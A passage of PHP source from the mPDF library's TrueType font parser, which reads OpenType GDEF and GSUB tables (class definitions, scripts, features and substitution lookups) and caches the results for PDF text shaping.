\Mpdf\MpdfException(sprintf('Unable to set font "%s" to use OTL as it does not include OTL tables (or at least not a GDEF table).', $this->filename)); } $GSUB_offset = 0; $GPOS_offset = 0; $GSUB_length = 0; $s = ''; if (isset($this->tables['GSUB'])) { $GSUB_offset = $this->seek_table('GSUB'); $GSUB_length = $this->tables['GSUB']['length']; $s .= fread($this->fh, $this->tables['GSUB']['length']); } if (isset($this->tables['GPOS'])) { $GPOS_offset = $this->seek_table('GPOS'); $s .= fread($this->fh, $this->tables['GPOS']['length']); } if ($s) { $this->fontCache->write($this->fontkey . '.GSUBGPOStables.dat', $s); } $font = [ 'GSUB_offset' => $GSUB_offset, 'GPOS_offset' => $GPOS_offset, 'GSUB_length' => $GSUB_length, 'GlyphClassBases' => $this->GlyphClassBases, 'GlyphClassMarks' => $this->GlyphClassMarks, 'GlyphClassLigatures' => $this->GlyphClassLigatures, 'GlyphClassComponents' => $this->GlyphClassComponents, 'MarkGlyphSets' => $this->MarkGlyphSets, 'MarkAttachmentType' => $this->MarkAttachmentType, ]; $this->fontCache->jsonWrite($this->fontkey . '.GDEFdata.json', $font); } function _getClassDefinitionTable() { // NB Any glyph not included in the range of covered GlyphIDs automatically belongs to Class 0. This is not returned by this function $ClassFormat = $this->read_ushort(); $GlyphByClass = []; if ($ClassFormat == 1) { $StartGlyph = $this->read_ushort(); $GlyphCount = $this->read_ushort(); for ($i = 0; $i < $GlyphCount; $i++) { $gid = $StartGlyph + $i; $class = $this->read_ushort(); // Several fonts (mainly dejavu.../Freeserif etc) have a MarkAttachClassDef Format 1, where StartGlyph is 0 and GlyphCount is 1 // This doesn't seem to do anything useful? // Freeserif does not have $this->glyphToChar[0] allocated and would throw an error, so check if isset: if (isset($this->glyphToChar[$gid][0])) { $GlyphByClass[$class][] = unicode_hex($this->glyphToChar[$gid][0]); } } } elseif ($ClassFormat == 2) { $tableCount = $this->read_ushort(); for ($i = 0; $i < $tableCount; $i++) { $startGlyphID = $this->read_ushort(); $endGlyphID = $this->read_ushort(); $class = $this->read_ushort(); for ($gid = $startGlyphID; $gid <= $endGlyphID; $gid++) { if (isset($this->glyphToChar[$gid][0])) { $GlyphByClass[$class][] = unicode_hex($this->glyphToChar[$gid][0]); } } } } foreach ($GlyphByClass as $class => $glyphs) { sort($GlyphByClass[$class], SORT_STRING); // SORT makes it easier to read in development ? order not important ??? } ksort($GlyphByClass); return $GlyphByClass; } /** * GSUB - Glyph Substitution */ function _getGSUBtables() { if (!isset($this->tables['GSUB'])) { return [[], [], [], '']; } $ffeats = []; $gsub_offset = $this->seek_table('GSUB'); $this->skip(4); $ScriptList_offset = $gsub_offset + $this->read_ushort(); $FeatureList_offset = $gsub_offset + $this->read_ushort(); $LookupList_offset = $gsub_offset + $this->read_ushort(); // ScriptList $this->seek($ScriptList_offset); $ScriptCount = $this->read_ushort(); for ($i = 0; $i < $ScriptCount; $i++) { $ScriptTag = $this->read_tag(); // = "beng", "deva" etc. $ScriptTableOffset = $this->read_ushort(); $ffeats[$ScriptTag] = $ScriptList_offset + $ScriptTableOffset; } // Script Table foreach ($ffeats as $t => $o) { $ls = []; $this->seek($o); $DefLangSys_offset = $this->read_ushort(); if ($DefLangSys_offset > 0) { $ls['DFLT'] = $DefLangSys_offset + $o; } $LangSysCount = $this->read_ushort(); for ($i = 0; $i < $LangSysCount; $i++) { $LangTag = $this->read_tag(); // = $LangTableOffset = $this->read_ushort(); $ls[$LangTag] = $o + $LangTableOffset; } $ffeats[$t] = $ls; } // Get FeatureIndexList // LangSys Table - from first listed langsys foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $o) { $FeatureIndex = []; $langsystable_offset = $o; $this->seek($langsystable_offset); $LookUpOrder = $this->read_ushort(); //==NULL $ReqFeatureIndex = $this->read_ushort(); if ($ReqFeatureIndex != 0xFFFF) { $FeatureIndex[] = $ReqFeatureIndex; } $FeatureCount = $this->read_ushort(); for ($i = 0; $i < $FeatureCount; $i++) { $FeatureIndex[] = $this->read_ushort(); // = index of feature } $ffeats[$st][$t] = $FeatureIndex; } } // Feauture List => LookupListIndex es $this->seek($FeatureList_offset); $FeatureCount = $this->read_ushort(); $Feature = []; for ($i = 0; $i < $FeatureCount; $i++) { $tag = $this->read_tag(); if ($tag == 'smcp') { $this->hassmallcapsGSUB = true; } $Feature[$i] = ['tag' => $tag]; $Feature[$i]['offset'] = $FeatureList_offset + $this->read_ushort(); } for ($i = 0; $i < $FeatureCount; $i++) { $this->seek($Feature[$i]['offset']); $this->read_ushort(); // null [FeatureParams] $Feature[$i]['LookupCount'] = $Lookupcount = $this->read_ushort(); $Feature[$i]['LookupListIndex'] = []; for ($c = 0; $c < $Lookupcount; $c++) { $Feature[$i]['LookupListIndex'][] = $this->read_ushort(); } } foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $o) { $FeatureIndex = $ffeats[$st][$t]; foreach ($FeatureIndex as $k => $fi) { $ffeats[$st][$t][$k] = $Feature[$fi]; } } } $gsub = []; $GSUBScriptLang = []; foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $langsys) { $lg = []; foreach ($langsys as $ft) { $lg[$ft['LookupListIndex'][0]] = $ft; } // list of Lookups in order they need to be run i.e. order listed in Lookup table ksort($lg); foreach ($lg as $ft) { $gsub[$st][$t][$ft['tag']] = $ft['LookupListIndex']; } if (!isset($GSUBScriptLang[$st])) { $GSUBScriptLang[$st] = ''; } $GSUBScriptLang[$st] .= $t . ' '; } } // Get metadata and offsets for whole Lookup List table $this->seek($LookupList_offset); $LookupCount = $this->read_ushort(); $GSLookup = []; $Offsets = []; $SubtableCount = []; for ($i = 0; $i < $LookupCount; $i++) { $Offsets[$i] = $LookupList_offset + $this->read_ushort(); } for ($i = 0; $i < $LookupCount; $i++) { $this->seek($Offsets[$i]); $GSLookup[$i]['Type'] = $this->read_ushort(); $GSLookup[$i]['Flag'] = $flag = $this->read_ushort(); $GSLookup[$i]['SubtableCount'] = $SubtableCount[$i] = $this->read_ushort(); for ($c = 0; $c < $SubtableCount[$i]; $c++) { $GSLookup[$i]['Subtables'][$c] = $Offsets[$i] + $this->read_ushort(); } // MarkFilteringSet = Index (base 0) into GDEF mark glyph sets structure if (($flag & 0x0010) == 0x0010) { $GSLookup[$i]['MarkFilteringSet'] = $this->read_ushort(); } else { $GSLookup[$i]['MarkFilteringSet'] = ''; } // Lookup Type 7: Extension if ($GSLookup[$i]['Type'] == 7) { // Overwrites new offset (32-bit) for each subtable, and a new lookup Type for ($c = 0; $c < $SubtableCount[$i]; $c++) { $this->seek($GSLookup[$i]['Subtables'][$c]); $ExtensionPosFormat = $this->read_ushort(); $type = $this->read_ushort(); $ext_offset = $this->read_ulong(); $GSLookup[$i]['Subtables'][$c] = $GSLookup[$i]['Subtables'][$c] + $ext_offset; } $GSLookup[$i]['Type'] = $type; } } // Process Whole LookupList - Get LuCoverage = Lookup coverage just for first glyph $this->GSLuCoverage = []; for ($i = 0; $i < $LookupCount; $i++) { for ($c = 0; $c < $GSLookup[$i]['SubtableCount']; $c++) { $this->seek($GSLookup[$i]['Subtables'][$c]); $PosFormat = $this->read_ushort(); if ($GSLookup[$i]['Type'] == 5 && $PosFormat == 3) { $this->skip(4); } elseif ($GSLookup[$i]['Type'] == 6 && $PosFormat == 3) { $BacktrackGlyphCount = $this->read_ushort(); $this->skip(2 * $BacktrackGlyphCount + 2); } // NB Coverage only looks at glyphs for position 1 (i.e. 5.3 and 6.3) // NEEDS TO READ ALL ******************** $Coverage = $GSLookup[$i]['Subtables'][$c] + $this->read_ushort(); $this->seek($Coverage); $glyphs = $this->_getCoverage(false, 2); $this->GSLuCoverage[$i][$c] = $glyphs; } } // $this->GSLuCoverage and $GSLookup $this->fontCache->jsonWrite($this->fontkey . '.GSUBdata.json', $this->GSLuCoverage); // Now repeats as original to get Substitution rules // Get metadata and offsets for whole Lookup List table $this->seek($LookupList_offset); $LookupCount = $this->read_ushort(); $Lookup = []; for ($i = 0; $i < $LookupCount; $i++) { $Lookup[$i]['offset'] = $LookupList_offset + $this->read_ushort(); } for ($i = 0; $i < $LookupCount; $i++) { $this->seek($Lookup[$i]['offset']); $Lookup[$i]['Type'] = $this->read_ushort(); $Lookup[$i]['Flag'] = $flag = $this->read_ushort(); $Lookup[$i]['SubtableCount'] = $this->read_ushort(); for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $Lookup[$i]['Subtable'][$c]['Offset'] = $Lookup[$i]['offset'] + $this->read_ushort(); } // MarkFilteringSet = Index (base 0) into GDEF mark glyph sets structure if (($flag & 0x0010) == 0x0010) { $Lookup[$i]['MarkFilteringSet'] = $this->read_ushort(); } else { $Lookup[$i]['MarkFilteringSet'] = ''; } // Lookup Type 7: Extension if ($Lookup[$i]['Type'] == 7) { // Overwrites new offset (32-bit) for each subtable, and a new lookup Type for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $this->seek($Lookup[$i]['Subtable'][$c]['Offset']); $ExtensionPosFormat = $this->read_ushort(); $type = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ulong(); } $Lookup[$i]['Type'] = $type; } } // Process (1) Whole LookupList for ($i = 0; $i < $LookupCount; $i++) { for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $this->seek($Lookup[$i]['Subtable'][$c]['Offset']); $SubstFormat = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['Format'] = $SubstFormat; /* Lookup['Type'] Enumeration table for glyph substitution Value Type Description 1 Single Replace one glyph with one glyph 2 Multiple Replace one glyph with more than one glyph 3 Alternate Replace one glyph with one of many glyphs 4 Ligature Replace multiple glyphs with one glyph 5 Context Replace one or more glyphs in context 6 Chaining Context Replace one or more glyphs in chained context 7 Extension Substitution Extension mechanism for other substitutions (i.e. this excludes the Extension type substitution itself) 8 Reverse chaining context single Applied in reverse order, replace single glyph in chaining context */ // LookupType 1: Single Substitution Subtable if ($Lookup[$i]['Type'] == 1) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); if ($SubstFormat == 1) { // Calculated output glyph indices $Lookup[$i]['Subtable'][$c]['DeltaGlyphID'] = $this->read_short(); } elseif ($SubstFormat == 2) { // Specified output glyph indices $GlyphCount = $this->read_ushort(); for ($g = 0; $g < $GlyphCount; $g++) { $Lookup[$i]['Subtable'][$c]['Glyphs'][] = $this->read_ushort(); } } } // LookupType 2: Multiple Substitution Subtable elseif ($Lookup[$i]['Type'] == 2) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SequenceCount'] = $SequenceCount = $this->read_short(); for ($s = 0; $s < $SequenceCount; $s++) { $Lookup[$i]['Subtable'][$c]['Sequences'][$s]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_short(); } for ($s = 0; $s < $SequenceCount; $s++) { // Sequence Tables $this->seek($Lookup[$i]['Subtable'][$c]['Sequences'][$s]['Offset']); $Lookup[$i]['Subtable'][$c]['Sequences'][$s]['GlyphCount'] = $this->read_short(); for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['Sequences'][$s]['GlyphCount']; $g++) { $Lookup[$i]['Subtable'][$c]['Sequences'][$s]['SubstituteGlyphID'][] = $this->read_ushort(); } } } // LookupType 3: Alternate Forms elseif ($Lookup[$i]['Type'] == 3) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['AlternateSetCount'] = $AlternateSetCount = $this->read_short(); for ($s = 0; $s < $AlternateSetCount; $s++) { $Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_short(); } for ($s = 0; $s < $AlternateSetCount; $s++) { // AlternateSet Tables $this->seek($Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['Offset']); $Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['GlyphCount'] = $this->read_short(); for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['GlyphCount']; $g++) { $Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['SubstituteGlyphID'][] = $this->read_ushort(); } } } // LookupType 4: Ligature Substitution Subtable elseif ($Lookup[$i]['Type'] == 4) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['LigSetCount'] = $LigSetCount = $this->read_short(); for ($s = 0; $s < $LigSetCount; $s++) { $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_short(); } for ($s = 0; $s < $LigSetCount; $s++) { // LigatureSet Tables $this->seek($Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Offset']); $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigCount'] = $this->read_short(); for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigCount']; $g++) { $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigatureOffset'][$g] = $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Offset'] + $this->read_ushort(); } } for ($s = 0; $s < $LigSetCount; $s++) { for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigCount']; $g++) { // Ligature tables $this->seek($Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigatureOffset'][$g]); $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['LigGlyph'] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['CompCount'] = $this->read_ushort(); for ($l = 1; $l < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['CompCount']; $l++) { $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['GlyphID'][$l] = $this->read_ushort(); } } } } // LookupType 5: Contextual Substitution Subtable elseif ($Lookup[$i]['Type'] == 5) { // Format 1: Context Substitution if ($SubstFormat == 1) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubRuleSetCount'] = $SubRuleSetCount = $this->read_short(); for ($s = 0; $s < $SubRuleSetCount; $s++) { $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_short(); } for ($s = 0; $s < $SubRuleSetCount; $s++) { // SubRuleSet Tables $this->seek($Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['Offset']); $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleCount'] = $this->read_short(); for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleCount']; $g++) { $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleOffset'][$g] = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['Offset'] + $this->read_ushort(); } } for ($s = 0; $s < $SubRuleSetCount; $s++) { // SubRule Tables for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleCount']; $g++) { // Ligature tables $this->seek($Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleOffset'][$g]); $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['GlyphCount'] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['SubstCount'] = $this->read_ushort(); // "Input"::[GlyphCount - 1]::Array of input GlyphIDs-start with second glyph for ($l = 1; $l < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['GlyphCount']; $l++) { $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['Input'][$l] = $this->read_ushort(); } // "SubstLookupRecord"::[SubstCount]::Array of SubstLookupRecords-in design order for ($l = 0; $l < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['SubstCount']; $l++) { $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['SubstLookupRecord'][$l]['SequenceIndex'] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$g]['SubstLookupRecord'][$l]['LookupListIndex'] = $this->read_ushort(); } } } } // Format 2: Class-based Context Glyph Substitution elseif ($SubstFormat == 2) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ClassDefOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubClassSetCnt'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['SubClassSetCnt']; $b++) { $offset = $this->read_ushort(); if ($offset == 0x0000) { $Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][] = 0; } else { $Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $offset; } } } else { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Lookup[$i]['Type'] . ", Format " . $SubstFormat . " not supported (ttfontsuni.php)."); } } // LookupType 6: Chaining Contextual Substitution Subtable elseif ($Lookup[$i]['Type'] == 6) { // Format 1: Simple Chaining Context Glyph Substitution p255 if ($SubstFormat == 1) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetCount']; $b++) { $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetOffset'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); } } // Format 2: Class-based Chaining Context Glyph Substitution p257 elseif ($SubstFormat == 2) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['BacktrackClassDefOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['InputClassDefOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['LookaheadClassDefOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['ChainSubClassSetCnt'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['ChainSubClassSetCnt']; $b++) { $offset = $this->read_ushort(); if ($offset == 0x0000) { $Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][] = $offset; } else { $Lookup[$i]['Subtable'][$c]['ChainSubClassSetOffset'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $offset; } } } // Format 3: Coverage-based Chaining Context Glyph Substitution p259 elseif ($SubstFormat == 3) { $Lookup[$i]['Subtable'][$c]['BacktrackGlyphCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['BacktrackGlyphCount']; $b++) { $Lookup[$i]['Subtable'][$c]['CoverageBacktrack'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['InputGlyphCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; $b++) { $Lookup[$i]['Subtable'][$c]['CoverageInput'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['LookaheadGlyphCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['LookaheadGlyphCount']; $b++) { $Lookup[$i]['Subtable'][$c]['CoverageLookahead'][] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['SubstCount'] = $this->read_ushort(); for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['SubstCount']; $b++) { $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['SequenceIndex'] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['LookupListIndex'] = $this->read_ushort(); // Substitution Lookup Record // All contextual substitution subtables specify the substitution data in a Substitution Lookup Record // (SubstLookupRecord). Each record contains a SequenceIndex, which indicates the position where the substitution // will occur in the glyph sequence. In addition, a LookupListIndex identifies the lookup to be applied at the // glyph position specified by the SequenceIndex. } } } else { throw new \Mpdf\MpdfException(sprintf('Lookup Type "%s" not supported.', $Lookup[$i]['Type'])); } } } // Process (2) Whole LookupList // Get Coverage tables and prepare preg_replace for ($i = 0; $i < $LookupCount; $i++) { for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $SubstFormat = $Lookup[$i]['Subtable'][$c]['Format']; // LookupType 1: Single Substitution Subtable 1 => 1 if ($Lookup[$i]['Type'] == 1) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $glyphs = $this->_getCoverage(false); for ($g = 0; $g < count($glyphs); $g++) { $replace = []; $substitute = []; $replace[] = unicode_hex($this->glyphToChar[$glyphs[$g]][0]); // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $replace[0], $Lookup[$i]['MarkFilteringSet'])) { continue; } if (isset($Lookup[$i]['Subtable'][$c]['DeltaGlyphID'])) { // Format 1 $substitute[] = unicode_hex($this->glyphToChar[($glyphs[$g] + $Lookup[$i]['Subtable'][$c]['DeltaGlyphID'])][0]); } else { // Format 2 $substitute[] = unicode_hex($this->glyphToChar[($Lookup[$i]['Subtable'][$c]['Glyphs'][$g])][0]); } $Lookup[$i]['Subtable'][$c]['subs'][] = ['Replace' => $replace, 'substitute' => $substitute]; } } // LookupType 2: Multiple Substitution Subtable 1 => n elseif ($Lookup[$i]['Type'] == 2) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $glyphs = $this->_getCoverage(); for ($g = 0; $g < count($glyphs); $g++) { $replace = []; $substitute = []; $replace[] = $glyphs[$g]; // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $replace[0], $Lookup[$i]['MarkFilteringSet'])) { continue; } if (!isset($Lookup[$i]['Subtable'][$c]['Sequences'][$g]['SubstituteGlyphID']) || count($Lookup[$i]['Subtable'][$c]['Sequences'][$g]['SubstituteGlyphID']) == 0) { continue; } // Illegal for GlyphCount to be 0; either error in font, or something has gone wrong - lets carry on for now! foreach ($Lookup[$i]['Subtable'][$c]['Sequences'][$g]['SubstituteGlyphID'] as $sub) { $substitute[] = unicode_hex($this->glyphToChar[$sub][0]); } $Lookup[$i]['Subtable'][$c]['subs'][] = ['Replace' => $replace, 'substitute' => $substitute]; } } // LookupType 3: Alternate Forms 1 => 1 (only first alternate form is used) elseif ($Lookup[$i]['Type'] == 3) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $glyphs = $this->_getCoverage(); for ($g = 0; $g < count($glyphs); $g++) { $replace = []; $substitute = []; $replace[] = $glyphs[$g]; // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $replace[0], $Lookup[$i]['MarkFilteringSet'])) { continue; } $gid = $Lookup[$i]['Subtable'][$c]['AlternateSets'][$g]['SubstituteGlyphID'][0]; if (!isset($this->glyphToChar[$gid][0])) { continue; } $substitute[] = unicode_hex($this->glyphToChar[$gid][0]); $Lookup[$i]['Subtable'][$c]['subs'][] = ['Replace' => $replace, 'substitute' => $substitute]; } } // LookupType 4: Ligature Substitution Subtable n => 1 elseif ($Lookup[$i]['Type'] == 4) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $glyphs = $this->_getCoverage(); $LigSetCount = $Lookup[$i]['Subtable'][$c]['LigSetCount']; for ($s = 0; $s < $LigSetCount; $s++) { for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigCount']; $g++) { $replace = []; $substitute = []; $replace[] = $glyphs[$s]; // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $replace[0], $Lookup[$i]['MarkFilteringSet'])) { continue; } for ($l = 1; $l < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['CompCount']; $l++) { $gid = $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['GlyphID'][$l]; $rpl = unicode_hex($this->glyphToChar[$gid][0]); // Flag = Ignore if ($this->_checkGSUBignore($Lookup[$i]['Flag'], $rpl, $Lookup[$i]['MarkFilteringSet'])) { continue 2; } $replace[] = $rpl; } $gid = $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['LigGlyph']; if (!isset($this->glyphToChar[$gid][0])) { continue; } $substitute[] = unicode_hex($this->glyphToChar[$gid][0]); $Lookup[$i]['Subtable'][$c]['subs'][] = ['Replace' => $replace, 'substitute' => $substitute, 'CompCount' => $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['CompCount']]; } } } // LookupType 5: Contextual Substitution Subtable elseif ($Lookup[$i]['Type'] == 5) { // Format 1: Context Substitution if ($SubstFormat == 1) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'] = $CoverageGlyphs = $this->_getCoverage(); for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['SubRuleSetCount']; $s++) { $SubRuleSet = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]; $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['FirstGlyph'] = $CoverageGlyphs[$s]; for ($r = 0; $r < $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRuleCount']; $r++) { $GlyphCount = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$r]['GlyphCount']; for ($g = 1; $g < $GlyphCount; $g++) { $glyphID = $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$r]['Input'][$g]; $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['SubRule'][$r]['InputGlyphs'][$g] = unicode_hex($this->glyphToChar[$glyphID][0]); } } } } // Format 2: Class-based Context Glyph Substitution elseif ($SubstFormat == 2) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'] = $CoverageGlyphs = $this->_getCoverage(); $InputClasses = $this->_getClasses($Lookup[$i]['Subtable'][$c]['ClassDefOffset']); $Lookup[$i]['Subtable'][$c]['InputClasses'] = $InputClasses; for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['SubClassSetCnt']; $s++) { if ($Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][$s] > 0) { $this->seek($Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][$s]); $Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRuleCnt'] = $SubClassRuleCnt = $this->read_ushort(); $SubClassRule = []; for ($b = 0; $b < $SubClassRuleCnt; $b++) { $SubClassRule[$b] = $Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][$s] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRule'][$b] = $SubClassRule[$b]; } } } for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['SubClassSetCnt']; $s++) { if ($Lookup[$i]['Subtable'][$c]['SubClassSetOffset'][$s] > 0) { $SubClassRuleCnt = $Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRuleCnt']; for ($b = 0; $b < $SubClassRuleCnt; $b++) { $this->seek($Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRule'][$b]); $Rule = []; $Rule['InputGlyphCount'] = $this->read_ushort(); $Rule['SubstCount'] = $this->read_ushort(); for ($r = 1; $r < $Rule['InputGlyphCount']; $r++) { $Rule['Input'][$r] = $this->read_ushort(); } for ($r = 0; $r < $Rule['SubstCount']; $r++) { $Rule['SequenceIndex'][$r] = $this->read_ushort(); $Rule['LookupListIndex'][$r] = $this->read_ushort(); } $Lookup[$i]['Subtable'][$c]['SubClassSet'][$s]['SubClassRule'][$b] = $Rule; } } } } // Format 3: Coverage-based Context Glyph Substitution elseif ($SubstFormat == 3) { for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; $b++) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageInput'][$b]); $glyphs = $this->_getCoverage(); $Lookup[$i]['Subtable'][$c]['CoverageInputGlyphs'][] = implode("|", $glyphs); } throw new \Mpdf\MpdfException("Lookup Type 5, SubstFormat 3 not tested. Please report this with the name of font used - " . $this->fontkey); } } // LookupType 6: Chaining Contextual Substitution Subtable elseif ($Lookup[$i]['Type'] == 6) { // Format 1: Simple Chaining Context Glyph Substitution p255 if ($SubstFormat == 1) { $this->seek($Lookup[$i]['Subtable'][$c]['CoverageTableOffset']); $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'] = $CoverageGlyphs = $this->_getCoverage(); $ChainSubRuleSetCnt 